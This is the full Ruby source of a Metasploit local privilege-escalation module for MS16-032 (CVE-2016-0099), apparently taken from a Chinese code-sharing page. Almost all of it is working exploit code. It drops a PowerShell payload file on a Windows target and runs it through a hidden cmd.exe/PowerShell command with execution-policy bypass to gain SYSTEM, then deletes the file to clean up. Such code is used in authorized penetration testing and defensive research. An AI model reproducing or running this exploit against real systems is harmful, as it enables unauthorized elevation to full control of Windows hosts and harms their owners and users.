扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 |
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'msf/core/payload_generator' require 'msf/core/exploit/powershell' require 'rex' class MetasploitModule < Msf::Exploit::Local Rank = NormalRanking include Msf::Exploit::Powershell include Msf::Post::Windows::Priv include Msf::Post::Windows::Process include Msf::Post::File include Msf::Post::Windows::ReflectiveDLLInjection def initialize(info = {}) super(update_info(info, 'Name'=> 'MS16-032 Secondary Logon Handle Privilege Escalation', 'Description' => %q{ This module exploits the lack of sanitization of standard handles in Windows' Secondary Logon Service.The vulnerability is known to affect versions of Windows 7-10 and 2k8-2k12 32 and 64 bit.This module will only work against those versions of Windows with Powershell 2.0 or later and systems with two or more CPU cores. }, 'License' => BSD_LICENSE, 'Author'=> [ 'James Forshaw', # twitter.com/tiraniddo 'b33f',# @FuzzySec, http://www.fuzzysecurity.com' 'khr0x40sh' ], 'References'=> [ [ 'MS', 'MS16-032'], [ 'CVE', '2016-0099'], [ 'URL', 'https://twitter.com/FuzzySec/status/723254004042612736' ], [ 'URL', 'https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html'] ], 'DefaultOptions' => { 'WfsDelay' => 30, 'EXITFUNC' => 'thread' }, 'DisclosureDate' => 'Mar 21 2016', 'Platform'=> [ 'win' ], 'SessionTypes'=> [ 'meterpreter' ], 'Targets'=> [ # Tested on (32 bits): # * Windows 7 SP1 [ 'Windows x86', { 'Arch' => ARCH_X86 } ], # Tested on (64 bits): # * Windows 7 SP1 # * Windows 8 # * Windows 2012 [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ] ], 'DefaultTarget' => 0 )) register_advanced_options( [ OptString.new('W_PATH', [false, 'Where to write temporary powershell file', nil]), OptBool.new('DRY_RUN', [false, 'Only show what would be done', false ]), # How long until we DELETE file, we have a race condition here, so anything less than 60 # seconds might break OptInt.new('TIMEOUT', [false, 'Execution timeout', 60]) ], self.class) end def get_arch arch = nil if sysinfo["Architecture"] =~ /(wow|x)64/i arch = ARCH_X86_64 elsif sysinfo["Architecture"] =~ /x86/i arch = ARCH_X86 end arch end def check os = sysinfo["OS"] if os !~ /win/i # Non-Windows systems are definitely not affected. return Exploit::CheckCode::Safe end Exploit::CheckCode::Detected end def exploit if is_system? fail_with(Failure::None, 'Session is already elevated') end arch1 = get_arch if check == Exploit::CheckCode::Safe print_error("Target is not Windows") return elsif arch1 == nil print_error("Architecture could not be determined.") return end # Exploit PoC from 'b33f' ps_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2016-0099', 'cve_2016_0099.ps1') vprint_status("PS1 loaded from #{ps_path}") ms16_032 = File.read(ps_path) cmdstr = expand_path('%windir%') << '\\System32\\windowspowershell\\v1.0\\powershell.exe' if datastore['TARGET'] == 0 && arch1 == ARCH_X86_64 cmdstr.gsub!("System32","SYSWOW64") print_warning("Executing 32-bit payload on 64-bit ARCH, using SYSWOW64 powershell") vprint_warning("#{cmdstr}") end # payload formatted to fit dropped text file payl = cmd_psh_payload(payload.encoded,payload.arch,{ encode_final_payload: false, remove_comspec: true, method: 'old' }) payl.sub!(/.*?(?=New-Object IO)/im, "") payl = payl.split("';$s.")[0] payl.gsub!("''","'") payl = "$s=#{payl}while($true){Start-Sleep 1000};" @upfile=Rex::Text.rand_text_alpha((rand(8)+6))+".txt" path = datastore['W_PATH'] || pwd @upfile = "#{path}\\#{@upfile}" fd = session.fs.file.new(@upfile,"wb") print_status("Writing payload file, #{@upfile}...") fd.write(payl) fd.close psh_cmd = "IEX `$(gc #{@upfile})" #lpAppName ms16_032.gsub!("$cmd","\"#{cmdstr}\"") #lpcommandLine - capped at 1024b ms16_032.gsub!("$args1","\" -exec Bypass -nonI -window Hidden #{psh_cmd}\"") print_status('Compressing script contents...') ms16_032_c = compress_script(ms16_032) if ms16_032_c.size > 8100 print_error("Compressed size: #{ms16_032_c.size}") error_msg = "Compressed size may cause command to exceed " error_msg += "cmd.exe's 8kB character limit." print_error(error_msg) else print_good("Compressed size: #{ms16_032_c.size}") end if datastore['DRY_RUN'] print_good("cmd.exe /C powershell -exec Bypass -nonI -window Hidden #{ms16_032_c}") return end print_status("Executing exploit script...") cmd = "cmd.exe /C powershell -exec Bypass -nonI -window Hidden #{ms16_032_c}" args = nil begin process = session.sys.process.execute(cmd, args, { 'Hidden' => true, 'Channelized' => false }) rescue print_error("An error occurred executing the script.") end end def cleanup sleep_t = datastore['TIMEOUT'] vprint_warning("Sleeping #{sleep_t} seconds before deleting #{@upfile}...") sleep sleep_t begin rm_f(@upfile) print_good("Cleaned up #{@upfile}") rescue print_error("There was an issue with cleanup of the powershell payload script.") end end end |
体验盒子
